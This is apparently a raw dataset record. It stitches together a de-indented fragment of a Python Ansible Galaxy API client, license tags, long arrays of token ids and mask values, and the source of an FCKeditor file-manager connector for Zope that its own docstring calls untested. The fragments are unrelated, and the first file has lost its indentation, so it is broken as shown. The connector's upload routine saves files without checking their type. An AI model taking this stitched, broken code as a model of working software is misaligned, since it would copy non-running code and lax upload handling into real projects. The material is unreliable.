url = "%s?github_user=%s&github_repo=%s" % (url,github_user,github_repo)
else:
raise AnsibleError("Expected task_id or github_user and github_repo")
data = self.__call_galaxy(url)
return data['results']
@g_connect
def lookup_role_by_name(self, role_name, notify=True):
"""
Find a role by name.
"""
role_name = urlquote(role_name)
try:
parts = role_name.split(".")
user_name = ".".join(parts[0:-1])
role_name = parts[-1]
if notify:
display.display("- downloading role '%s', owned by %s" % (role_name, user_name))
except:
raise AnsibleError("Invalid role name (%s). Specify role as format: username.rolename" % role_name)
url = '%s/roles/?owner__username=%s&name=%s' % (self.baseurl, user_name, role_name)
data = self.__call_galaxy(url)
if len(data["results"]) != 0:
return data["results"][0]
return None
@g_connect
def fetch_role_related(self, related, role_id):
"""
Fetch the list of related items for the given role.
The url comes from the 'related' field of the role.
"""
try:
url = '%s/roles/%d/%s/?page_size=50' % (self.baseurl, int(role_id), related)
data = self.__call_galaxy(url)
results = data['results']
done = (data.get('next_link', None) is None)
while not done:
url = '%s%s' % (self._api_server, data['next_link'])
data = self.__call_galaxy(url)
results += data['results']
done = (data.get('next_link', None) is None)
return results
except:
return None
@g_connect
def get_list(self, what):
"""
Fetch the list of items specified.
"""
try:
url = '%s/%s/?page_size' % (self.baseurl, what)
data = self.__call_galaxy(url)
if "results" in data:
results = data['results']
else:
results = data
done = True
if "next" in data:
done = (data.get('next_link', None) is None)
while not done:
url = '%s%s' % (self._api_server, data['next_link'])
data = self.__call_galaxy(url)
results += data['results']
done = (data.get('next_link', None) is None)
return results
except Exception as error:
raise AnsibleError("Failed to download the %s list: %s" % (what, str(error)))
@g_connect
def search_roles(self, search, **kwargs):
search_url = self.baseurl + '/search/roles/?'
if search:
search_url += '&autocomplete=' + urlquote(search)
tags = kwargs.get('tags',None)
platforms = kwargs.get('platforms', None)
page_size = kwargs.get('page_size', None)
author = kwargs.get('author', None)
if tags and isinstance(tags, basestring):
tags = tags.split(',')
search_url += '&tags_autocomplete=' + '+'.join(tags)
if platforms and isinstance(platforms, basestring):
platforms = platforms.split(',')
search_url += '&platforms_autocomplete=' + '+'.join(platforms)
if page_size:
search_url += '&page_size=%s' % page_size
if author:
search_url += '&username_autocomplete=%s' % author
data = self.__call_galaxy(search_url)
return data
@g_connect
def add_secret(self, source, github_user, github_repo, secret):
url = "%s/notification_secrets/" % self.baseurl
args = urllib.urlencode({
"source": source,
"github_user": github_user,
"github_repo": github_repo,
"secret": secret
})
data = self.__call_galaxy(url, args=args)
return data
@g_connect
def list_secrets(self):
url = "%s/notification_secrets" % self.baseurl
data = self.__call_galaxy(url, headers=self.__auth_header())
return data
@g_connect
def remove_secret(self, secret_id):
url = "%s/notification_secrets/%s/" % (self.baseurl, secret_id)
data = self.__call_galaxy(url, headers=self.__auth_header(), method='DELETE')
return data
@g_connect
def delete_role(self, github_user, github_repo):
url = "%s/removerole/?github_user=%s&github_repo=%s" % (self.baseurl,github_user,github_repo)
data = self.__call_galaxy(url, headers=self.__auth_header(), method='DELETE')
return data
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3949,
199,
3,
199,
3,
334,
35,
9,
6171,
12,
1603,
14015,
445,
455,
4584,
419,
665,
74,
15176,
4584,
419,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
3949,
199,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
646,
2022,
199,
646,
4011,
199,
199,
504,
4011,
18,
492,
6313,
465,
1166,
3513,
12,
15050,
199,
199,
646,
3242,
14,
5559,
465,
445,
199,
504,
3242,
14,
2550,
492,
13358,
199,
504,
3242,
14,
578,
63,
1208,
14,
3603,
492,
1551,
63,
633,
199,
504,
3242,
14,
24806,
14,
1418,
492,
598,
15914,
3264,
199,
504,
3242,
14,
1208,
14,
2975,
492,
370,
63,
495,
199,
199,
893,
26,
272,
687,
636,
973,
363,
492,
2929,
199,
2590,
3545,
26,
272,
687,
3242,
14,
1208,
14,
2918,
492,
12175,
272,
2929,
275,
12175,
342,
199,
199,
318,
486,
63,
2242,
8,
765,
304,
272,
1449,
4975,
370,
29667,
3444,
8265,
1950,
2256,
370,
486,
15914,
1449,
272,
347,
8072,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
340,
440,
291,
14,
12486,
26,
288,
2929,
14,
30448,
480,
5733,
1950,
370,
486,
15914,
63,
1000,
26,
450,
83,
2,
450,
291,
423,
1246,
63,
1000,
9,
288,
1654,
63,
1023,
275,
291,
423,
362,
63,
1000,
63,
1246,
63,
1023,
342,
288,
340,
440,
1654,
63,
1023,
315,
291,
14,
15925,
63,
26358,
26,
355,
746,
13358,
480,
12647,
598,
15914,
1654,
3261,
1015,
26,
450,
83,
2,
450,
1654,
63,
1023,
9,
953,
291,
14,
28937,
275,
1543,
83,
15,
1246,
3149,
83,
7,
450,
334,
277,
423,
1246,
63,
1000,
12,
1654,
63,
1023,
9,
288,
291,
14,
1023,
275,
1654,
63,
1023,
327,
367,
6466,
675,
288,
2929,
14,
30448,
480,
1563,
3261,
26,
450,
83,
2,
450,
291,
14,
28937,
9,
288,
291,
14,
12486,
275,
715,
267,
372,
1083,
8,
277,
12,
627,
589,
12,
1011,
958,
9,
272,
372,
8072,
199,
199,
533,
598,
15914,
3735,
8,
785,
304,
272,
1449,
961,
1021,
365,
18329,
370,
506,
1202,
465,
282,
3261,
1890,
367,
376,
2622,
598,
15914,
1654,
1449,
339,
32501,
63,
26358,
275,
788,
86,
17,
418,
339,
347,
636,
826,
721,
277,
12,
486,
15914,
304,
267,
291,
14,
24806,
275,
486,
15914,
267,
291,
14,
1418,
275,
598,
15914,
3264,
342,
267,
291,
423,
1246,
63,
1000,
275,
445,
14,
39,
26674,
8195,
63,
6613,
267,
291,
423,
3502,
63,
8356,
275,
440,
486,
15914,
14,
1419,
14,
4247,
63,
8356,
267,
291,
14,
28937,
275,
488,
267,
291,
14,
1023,
275,
488,
267,
291,
14,
12486,
275,
756,
398,
2929,
14,
1757,
360,
12584,
12213,
14512,
26,
450,
83,
7,
450,
291,
423,
3502,
63,
8356,
9,
398,
327,
663,
314,
3261,
1654,
267,
340,
486,
15914,
14,
1419,
14,
1246,
63,
1000,
1137,
445,
14,
39,
26674,
8195,
63,
6613,
26,
288,
291,
423,
1246,
63,
1000,
275,
486,
15914,
14,
1419,
14,
1246,
63,
1000,
2378,
347,
636,
1178,
63,
1291,
8,
277,
304,
267,
1526,
275,
291,
14,
1418,
14,
362,
342,
267,
340,
1526,
365,
488,
26,
288,
746,
13358,
480,
1944,
2879,
1526,
14,
2047,
1471,
1642,
675,
4676,
370,
12895,
436,
3332,
376,
2879,
1526,
2685,
267,
372,
791,
11626,
356,
283,
3264,
283,
435,
1526,
93,
339,
768,
71,
63,
2242,
272,
347,
636,
1250,
63,
24806,
8,
277,
12,
1166,
12,
1249,
29,
403,
12,
2323,
29,
403,
12,
1083,
29,
403,
304,
267,
340,
1249,
436,
440,
2323,
26,
288,
2323,
275,
291,
855,
1178,
63,
1291,
342,
267,
862,
26,
288,
2929,
14,
24622,
8,
633,
9,
288,
3085,
275,
1551,
63,
633,
8,
633,
12,
666,
29,
589,
12,
4107,
63,
8356,
29,
277,
423,
3502,
63,
8356,
12,
2323,
29,
2139,
12,
1083,
29,
765,
9,
288,
666,
275,
2022,
14,
912,
8,
4518,
9,
267,
871,
15050,
465,
325,
26,
288,
522,
275,
2022,
14,
912,
8,
69,
9,
288,
746,
13358,
8,
470,
459,
5506,
1105,
267,
372,
666,
339,
768,
1829,
272,
347,
2986,
63,
1000,
8,
277,
304,
267,
372,
291,
423,
1246,
63,
1000,
339,
768,
1829,
272,
347,
4107,
63,
8356,
8,
277,
304,
267,
372,
291,
423,
3502,
63,
8356,
339,
347,
485,
362,
63,
1000,
63,
1246,
63,
1023,
8,
277,
304,
267,
408,
267,
16347,
397,
314,
598,
15914,
3261,
1453,
1015,
370,
4868,
267,
314,
3261,
1654,
365,
1536,
436,
29542,
14,
267,
408,
267,
1166,
275,
1543,
83,
15,
1246,
4805,
450,
291,
423,
1246,
63,
1000,
267,
862,
26,
288,
372,
63,
576,
275,
1490,
63,
633,
8,
633,
12,
4107,
63,
8356,
29,
277,
423,
3502,
63,
8356,
9,
267,
871,
2186,
465,
325,
26,
288,
746,
13358,
480,
4276,
370,
664,
666,
687,
314,
3261,
1654,
4366,
83,
304,
450,
83,
298,
450,
334,
633,
12,
370,
63,
495,
8,
69,
1724,
398,
862,
26,
288,
666,
275,
2022,
14,
912,
8,
1107,
63,
576,
9,
267,
871,
2186,
465,
325,
26,
288,
746,
13358,
480,
6531,
440,
2112,
666,
687
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3949,
199,
3,
199,
3,
334,
35,
9,
6171,
12,
1603,
14015,
445,
455,
4584,
419,
665,
74,
15176,
4584,
419,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
3949,
199,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
646,
2022,
199,
646,
4011,
199,
199,
504,
4011,
18,
492,
6313,
465,
1166,
3513,
12,
15050,
199,
199,
646,
3242,
14,
5559,
465,
445,
199,
504,
3242,
14,
2550,
492,
13358,
199,
504,
3242,
14,
578,
63,
1208,
14,
3603,
492,
1551,
63,
633,
199,
504,
3242,
14,
24806,
14,
1418,
492,
598,
15914,
3264,
199,
504,
3242,
14,
1208,
14,
2975,
492,
370,
63,
495,
199,
199,
893,
26,
272,
687,
636,
973,
363,
492,
2929,
199,
2590,
3545,
26,
272,
687,
3242,
14,
1208,
14,
2918,
492,
12175,
272,
2929,
275,
12175,
342,
199,
199,
318,
486,
63,
2242,
8,
765,
304,
272,
1449,
4975,
370,
29667,
3444,
8265,
1950,
2256,
370,
486,
15914,
1449,
272,
347,
8072,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
340,
440,
291,
14,
12486,
26,
288,
2929,
14,
30448,
480,
5733,
1950,
370,
486,
15914,
63,
1000,
26,
450,
83,
2,
450,
291,
423,
1246,
63,
1000,
9,
288,
1654,
63,
1023,
275,
291,
423,
362,
63,
1000,
63,
1246,
63,
1023,
342,
288,
340,
440,
1654,
63,
1023,
315,
291,
14,
15925,
63,
26358,
26,
355,
746,
13358,
480,
12647,
598,
15914,
1654,
3261,
1015,
26,
450,
83,
2,
450,
1654,
63,
1023,
9,
953,
291,
14,
28937,
275,
1543,
83,
15,
1246,
3149,
83,
7,
450,
334,
277,
423,
1246,
63,
1000,
12,
1654,
63,
1023,
9,
288,
291,
14,
1023,
275,
1654,
63,
1023,
327,
367,
6466,
675,
288,
2929,
14,
30448,
480,
1563,
3261,
26,
450,
83,
2,
450,
291,
14,
28937,
9,
288,
291,
14,
12486,
275,
715,
267,
372,
1083,
8,
277,
12,
627,
589,
12,
1011,
958,
9,
272,
372,
8072,
199,
199,
533,
598,
15914,
3735,
8,
785,
304,
272,
1449,
961,
1021,
365,
18329,
370,
506,
1202,
465,
282,
3261,
1890,
367,
376,
2622,
598,
15914,
1654,
1449,
339,
32501,
63,
26358,
275,
788,
86,
17,
418,
339,
347,
636,
826,
721,
277,
12,
486,
15914,
304,
267,
291,
14,
24806,
275,
486,
15914,
267,
291,
14,
1418,
275,
598,
15914,
3264,
342,
267,
291,
423,
1246,
63,
1000,
275,
445,
14,
39,
26674,
8195,
63,
6613,
267,
291,
423,
3502,
63,
8356,
275,
440,
486,
15914,
14,
1419,
14,
4247,
63,
8356,
267,
291,
14,
28937,
275,
488,
267,
291,
14,
1023,
275,
488,
267,
291,
14,
12486,
275,
756,
398,
2929,
14,
1757,
360,
12584,
12213,
14512,
26,
450,
83,
7,
450,
291,
423,
3502,
63,
8356,
9,
398,
327,
663,
314,
3261,
1654,
267,
340,
486,
15914,
14,
1419,
14,
1246,
63,
1000,
1137,
445,
14,
39,
26674,
8195,
63,
6613,
26,
288,
291,
423,
1246,
63,
1000,
275,
486,
15914,
14,
1419,
14,
1246,
63,
1000,
2378,
347,
636,
1178,
63,
1291,
8,
277,
304,
267,
1526,
275,
291,
14,
1418,
14,
362,
342,
267,
340,
1526,
365,
488,
26,
288,
746,
13358,
480,
1944,
2879,
1526,
14,
2047,
1471,
1642,
675,
4676,
370,
12895,
436,
3332,
376,
2879,
1526,
2685,
267,
372,
791,
11626,
356,
283,
3264,
283,
435,
1526,
93,
339,
768,
71,
63,
2242,
272,
347,
636,
1250,
63,
24806,
8,
277,
12,
1166,
12,
1249,
29,
403,
12,
2323,
29,
403,
12,
1083,
29,
403,
304,
267,
340,
1249,
436,
440,
2323,
26,
288,
2323,
275,
291,
855,
1178,
63,
1291,
342,
267,
862,
26,
288,
2929,
14,
24622,
8,
633,
9,
288,
3085,
275,
1551,
63,
633,
8,
633,
12,
666,
29,
589,
12,
4107,
63,
8356,
29,
277,
423,
3502,
63,
8356,
12,
2323,
29,
2139,
12,
1083,
29,
765,
9,
288,
666,
275,
2022,
14,
912,
8,
4518,
9,
267,
871,
15050,
465,
325,
26,
288,
522,
275,
2022,
14,
912,
8,
69,
9,
288,
746,
13358,
8,
470,
459,
5506,
1105,
267,
372,
666,
339,
768,
1829,
272,
347,
2986,
63,
1000,
8,
277,
304,
267,
372,
291,
423,
1246,
63,
1000,
339,
768,
1829,
272,
347,
4107,
63,
8356,
8,
277,
304,
267,
372,
291,
423,
3502,
63,
8356,
339,
347,
485,
362,
63,
1000,
63,
1246,
63,
1023,
8,
277,
304,
267,
408,
267,
16347,
397,
314,
598,
15914,
3261,
1453,
1015,
370,
4868,
267,
314,
3261,
1654,
365,
1536,
436,
29542,
14,
267,
408,
267,
1166,
275,
1543,
83,
15,
1246,
4805,
450,
291,
423,
1246,
63,
1000,
267,
862,
26,
288,
372,
63,
576,
275,
1490,
63,
633,
8,
633,
12,
4107,
63,
8356,
29,
277,
423,
3502,
63,
8356,
9,
267,
871,
2186,
465,
325,
26,
288,
746,
13358,
480,
4276,
370,
664,
666,
687,
314,
3261,
1654,
4366,
83,
304,
450,
83,
298,
450,
334,
633,
12,
370,
63,
495,
8,
69,
1724,
398,
862,
26,
288,
666,
275,
2022,
14,
912,
8,
1107,
63,
576,
9,
267,
871,
2186,
465,
325,
26,
288,
746,
13358,
480,
6531,
440,
2112,
666,
687,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
igal/openproposals
|
public/fckeditor/editor/filemanager/connectors/py/zope.py
|
93
|
5685
|
#!/usr/bin/env python
"""
FCKeditor - The text editor for Internet - http://www.fckeditor.net
Copyright (C) 2003-2008 Frederico Caldeira Knabben
== BEGIN LICENSE ==
Licensed under the terms of any of the following licenses at your
choice:
- GNU General Public License Version 2 or later (the "GPL")
http://www.gnu.org/licenses/gpl.html
- GNU Lesser General Public License Version 2.1 or later (the "LGPL")
http://www.gnu.org/licenses/lgpl.html
- Mozilla Public License Version 1.1 or later (the "MPL")
http://www.mozilla.org/MPL/MPL-1.1.html
== END LICENSE ==
Connector for Python and Zope.
This code was not tested at all.
It just was ported from pre 2.5 release, so for further reference see
\editor\filemanager\browser\default\connectors\py\connector.py in previous
releases.
"""
from fckutil import *
from connector import *
import config as Config
class FCKeditorConnectorZope(FCKeditorConnector):
"""
Zope versiof FCKeditorConnector
"""
# Allow access (Zope)
__allow_access_to_unprotected_subobjects__ = 1
def __init__(self, context=None):
"""
Constructor
"""
FCKeditorConnector.__init__(self, environ=None) # call superclass constructor
# Instance Attributes
self.context = context
self.request = FCKeditorRequest(context)
def getZopeRootContext(self):
if self.zopeRootContext is None:
self.zopeRootContext = self.context.getPhysicalRoot()
return self.zopeRootContext
def getZopeUploadContext(self):
if self.zopeUploadContext is None:
folderNames = self.userFilesFolder.split("/")
c = self.getZopeRootContext()
for folderName in folderNames:
if (folderName <> ""):
c = c[folderName]
self.zopeUploadContext = c
return self.zopeUploadContext
def setHeader(self, key, value):
self.context.REQUEST.RESPONSE.setHeader(key, value)
def getFolders(self, resourceType, currentFolder):
# Open the folders node
s = ""
s += """<Folders>"""
zopeFolder = self.findZopeFolder(resourceType, currentFolder)
for (name, o) in zopeFolder.objectItems(["Folder"]):
s += """<Folder name="%s" />""" % (
convertToXmlAttribute(name)
)
# Close the folders node
s += """</Folders>"""
return s
def getZopeFoldersAndFiles(self, resourceType, currentFolder):
folders = self.getZopeFolders(resourceType, currentFolder)
files = self.getZopeFiles(resourceType, currentFolder)
s = folders + files
return s
def getZopeFiles(self, resourceType, currentFolder):
# Open the files node
s = ""
s += """<Files>"""
zopeFolder = self.findZopeFolder(resourceType, currentFolder)
for (name, o) in zopeFolder.objectItems(["File","Image"]):
s += """<File name="%s" size="%s" />""" % (
convertToXmlAttribute(name),
((o.get_size() / 1024) + 1)
)
# Close the files node
s += """</Files>"""
return s
def findZopeFolder(self, resourceType, folderName):
# returns the context of the resource / folder
zopeFolder = self.getZopeUploadContext()
folderName = self.removeFromStart(folderName, "/")
folderName = self.removeFromEnd(folderName, "/")
if (resourceType <> ""):
try:
zopeFolder = zopeFolder[resourceType]
except:
zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=resourceType, title=resourceType)
zopeFolder = zopeFolder[resourceType]
if (folderName <> ""):
folderNames = folderName.split("/")
for folderName in folderNames:
zopeFolder = zopeFolder[folderName]
return zopeFolder
def createFolder(self, resourceType, currentFolder):
# Find out where we are
zopeFolder = self.findZopeFolder(resourceType, currentFolder)
errorNo = 0
errorMsg = ""
if self.request.has_key("NewFolderName"):
newFolder = self.request.get("NewFolderName", None)
zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=newFolder, title=newFolder)
else:
errorNo = 102
return self.sendErrorNode ( errorNo, errorMsg )
def uploadFile(self, resourceType, currentFolder, count=None):
zopeFolder = self.findZopeFolder(resourceType, currentFolder)
file = self.request.get("NewFile", None)
fileName = self.getFileName(file.filename)
fileNameOnly = self.removeExtension(fileName)
fileExtension = self.getExtension(fileName).lower()
if (count):
nid = "%s.%s.%s" % (fileNameOnly, count, fileExtension)
else:
nid = fileName
title = nid
try:
zopeFolder.manage_addProduct['OFSP'].manage_addFile(
id=nid,
title=title,
file=file.read()
)
except:
if (count):
count += 1
else:
count = 1
return self.zopeFileUpload(resourceType, currentFolder, count)
return self.sendUploadResults( 0 )
class FCKeditorRequest(object):
"A wrapper around the request object"
def __init__(self, context=None):
r = context.REQUEST
self.request = r
def has_key(self, key):
return self.request.has_key(key)
def get(self, key, default=None):
return self.request.get(key, default)
"""
Running from zope, you will need to modify this connector.
If you have uploaded the FCKeditor into Zope (like me), you need to
move this connector out of Zope, and replace the "connector" with an
alias as below. The key to it is to pass the Zope context in, as
we then have a like to the Zope context.
## Script (Python) "connector.py"
##bind container=container
##bind context=context
##bind namespace=
##bind script=script
##bind subpath=traverse_subpath
##parameters=*args, **kws
##title=ALIAS
##
import Products.zope as connector
return connector.FCKeditorConnectorZope(context=context).doResponse()
"""
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
2999,
199,
624,
202,
199,
4161,
1136,
27050,
446,
710,
1318,
8823,
367,
22026,
446,
1455,
921,
1544,
14,
70,
346,
7515,
14,
846,
202,
199,
7384,
334,
35,
9,
13004,
13,
9300,
481,
264,
9910,
331,
8256,
271,
20936,
1804,
78,
12198,
287,
2999,
199,
389,
16427,
5113,
508,
2999,
199,
31661,
1334,
314,
2895,
402,
1263,
402,
314,
2569,
12378,
737,
2195,
202,
199,
5095,
26,
2999,
199,
13,
1664,
1696,
1684,
844,
3394,
499,
503,
2945,
334,
1589,
298,
12006,
531,
202,
199,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
14,
1360,
2999,
199,
13,
1664,
6401,
1696,
1684,
844,
3394,
499,
14,
17,
503,
2945,
334,
1589,
298,
44,
12006,
531,
202,
199,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
9783,
1168,
14,
1360,
2999,
199,
13,
17728,
1684,
844,
3394,
413,
14,
17,
503,
2945,
334,
1589,
298,
3950,
531,
202,
199,
1014,
921,
1544,
14,
12102,
14,
1308,
15,
3950,
15,
3950,
13,
17,
14,
17,
14,
1360,
2999,
199,
389,
7729,
5113,
508,
2999,
199,
20476,
367,
2018,
436,
3107,
13458,
14,
2999,
199,
2765,
1233,
1990,
440,
12470,
737,
1006,
14,
202,
199,
7940,
2951,
1990,
299,
1376,
687,
876,
499,
14,
21,
4683,
12,
880,
367,
9848,
3659,
1937,
202,
199,
60,
7515,
60,
493,
2609,
60,
5750,
60,
885,
60,
2242,
1384,
60,
647,
60,
11815,
14,
647,
315,
4136,
202,
199,
11840,
14,
2999,
199,
624,
2999,
199,
504,
289,
346,
1974,
492,
627,
202,
199,
504,
13252,
492,
627,
202,
199,
646,
1101,
465,
4094,
2999,
199,
533,
20934,
1136,
27050,
20476,
58,
13458,
8,
4161,
1136,
27050,
20476,
304,
1223,
198,
624,
1223,
198,
58,
13458,
809,
338,
1618,
20934,
1136,
27050,
20476,
1223,
198,
624,
1223,
198,
3,
9812,
2879,
334,
58,
13458,
9,
1223,
198,
363,
3306,
63,
2732,
63,
475,
63,
324,
6798,
63,
954,
1462,
363,
275,
413,
10060,
198,
318,
636,
826,
721,
277,
12,
1067,
29,
403,
304,
4122,
198,
624,
4122,
198,
11447,
4122,
198,
624,
4122,
198,
4161,
1136,
27050,
20476,
855,
826,
721,
277,
12,
6160,
29,
403,
9,
327,
1240,
17035,
3787,
4122,
198,
3,
10066,
9382,
4122,
198,
277,
14,
1100,
275,
1067,
4122,
198,
277,
14,
1069,
275,
20934,
1136,
27050,
2017,
8,
1100,
9,
10060,
198,
318,
664,
58,
13458,
6405,
2998,
8,
277,
304,
4122,
198,
692,
291,
14,
90,
13458,
6405,
2998,
365,
488,
26,
7903,
198,
277,
14,
90,
13458,
6405,
2998,
275,
291,
14,
1100,
14,
362,
20303,
6405,
342,
4122,
198,
1107,
291,
14,
90,
13458,
6405,
2998,
10060,
198,
318,
664,
58,
13458,
10301,
2998,
8,
277,
304,
4122,
198,
692,
291,
14,
90,
13458,
10301,
2998,
365,
488,
26,
7903,
198,
3741,
5866,
275,
291,
14,
751,
5535,
7850,
14,
1294,
19031,
7903,
198,
67,
275,
291,
14,
362,
58,
13458,
6405,
2998,
342,
7903,
198,
509,
4922,
985,
315,
4922,
5866,
26,
13610,
198,
692,
334,
3741,
985,
20941,
26430,
19744,
198,
67,
275,
286,
59,
3741,
985,
61,
7903,
198,
277,
14,
90,
13458,
10301,
2998,
275,
286,
4122,
198,
1107,
291,
14,
90,
13458,
10301,
2998,
10060,
198,
318,
663,
2567,
8,
277,
12,
790,
12,
574,
304,
4122,
198,
277,
14,
1100,
14,
6780,
14,
12801,
14,
409,
2567,
8,
498,
12,
574,
9,
10060,
198,
318,
664,
7850,
83,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
3,
3232,
314,
16533,
1031,
4122,
198,
83,
275,
3087,
4122,
198,
83,
847,
8894,
7850,
83,
11193,
4122,
198,
90,
13458,
7850,
275,
291,
14,
1623,
58,
13458,
7850,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
509,
334,
354,
12,
312,
9,
315,
20110,
7850,
14,
785,
7412,
5234,
7850,
21473,
7903,
198,
83,
847,
8894,
7850,
536,
5961,
83,
2,
7082,
624,
450,
334,
19744,
198,
21880,
8672,
1646,
8,
354,
9,
19744,
198,
9,
4122,
198,
3,
15524,
314,
16533,
1031,
4122,
198,
83,
847,
408,
1108,
7850,
83,
11193,
4122,
198,
1107,
308,
10060,
198,
318,
664,
58,
13458,
7850,
83,
3325,
5535,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
15171,
275,
291,
14,
362,
58,
13458,
7850,
83,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
1725,
275,
291,
14,
362,
58,
13458,
5535,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
83,
275,
16533,
435,
1584,
4122,
198,
1107,
308,
10060,
198,
318,
664,
58,
13458,
5535,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
3,
3232,
314,
1584,
1031,
4122,
198,
83,
275,
3087,
4122,
198,
83,
847,
8894,
5535,
11193,
4122,
198,
90,
13458,
7850,
275,
291,
14,
1623,
58,
13458,
7850,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
509,
334,
354,
12,
312,
9,
315,
20110,
7850,
14,
785,
7412,
5234,
1173,
2266,
3491,
21473,
7903,
198,
83,
847,
8894,
1173,
536,
5961,
83,
2,
1568,
5961,
83,
2,
7082,
624,
450,
334,
19744,
198,
21880,
8672,
1646,
8,
354,
395,
19744,
198,
1332,
79,
14,
362,
63,
890,
342,
1182,
6619,
9,
435,
413,
9,
19744,
198,
9,
4122,
198,
3,
15524,
314,
1584,
1031,
4122,
198,
83,
847,
408,
1108,
5535,
11193,
4122,
198,
1107,
308,
10060,
198,
318,
2342,
58,
13458,
7850,
8,
277,
12,
2073,
804,
12,
4922,
985,
304,
4122,
198,
3,
2529,
314,
1067,
402,
314,
2073,
1182,
4922,
4122,
198,
90,
13458,
7850,
275,
291,
14,
362,
58,
13458,
10301,
2998,
342,
4122,
198,
3741,
985,
275,
291,
14,
2168,
2532,
3162,
8,
3741,
985,
12,
3286,
531,
4122,
198,
3741,
985,
275,
291,
14,
2168,
2532,
3005,
8,
3741,
985,
12,
3286,
531,
4122,
198,
692,
334,
1927,
804,
20941,
26430,
7903,
198,
893,
26,
13610,
198,
90,
13458,
7850,
275,
20110,
